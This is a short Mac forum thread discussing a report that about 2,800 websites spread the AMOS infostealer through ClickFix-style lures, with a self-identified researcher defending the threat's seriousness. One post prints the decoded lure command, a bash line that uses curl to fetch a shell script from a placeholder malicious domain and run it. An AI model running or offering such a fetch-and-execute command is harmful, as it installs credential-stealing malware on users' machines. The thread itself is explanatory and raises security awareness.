MacReaper - Have you hear about this?

[lclev]

Over 2,800 websites used to spread AMOS stealer malware - CyberGuy

I do think most would realize there was a problem once the malware required terminal access. Unfortunately some might not understand this, but if they don't I can't imagine someone using terminal who has limited skills.

Lisa

 

[Randy B. Singer]

Over 2,800 websites used to spread AMOS stealer malware - CyberGuy

I do think most would realize there was a problem once the malware required terminal access. Unfortunately some might not understand this, but if they don't I can't imagine someone using terminal who has limited skills.

I think that experienced Mac users would know better than to fall for this, and that inexperienced users would be too afraid of the Terminal to attempt it. I don't know who that leaves. It's hard to take this seriously. It almost sounds like an April Fools joke.

The site that you linked to is obviously run by Windows bigots who want us to believe that our Macs are just as insecure as their Windows POS's. They, too, are hard to take seriously.

 

[Raz0rEdge]

Quite interesting, that particular base64 string decodes to the following

/bin/bash "$(curl -fsSL https://<bad domain>/2/perify.sh)"

So when you pipe that to the shell, it'll just execute that shell script.

The arguments to Curl are fail fast, silent, Show errors, and follow redirect links.

 

[badbyte]

I think that experienced Mac users would know better than to fall for this, and that inexperienced users would be too afraid of the Terminal to attempt it. I don't know who that leaves. It's hard to take this seriously. It almost sounds like an April Fools joke.

The site that you linked to is obviously run by Windows bigots who want us to believe that our Macs are just as insecure as their Windows POS's. They, too, are hard to take seriously.

Unfortunately, ClickFix has become a widely used delivery method, primarily for infostealers, since mid-2024. Its use has been significantly increasing for one key reason: it is effective.

I am the researcher who uncovered the approximately 2,800 compromised sites, and I can confirm that macOS is being widely targeted by infostealer malware. However, I acknowledge that Windows remains the number one targeted platform.

More of my research can be found here:
https://badbyte.io/infostealer-macos-etherhiding/

 

[Rod]

Good read, thank you.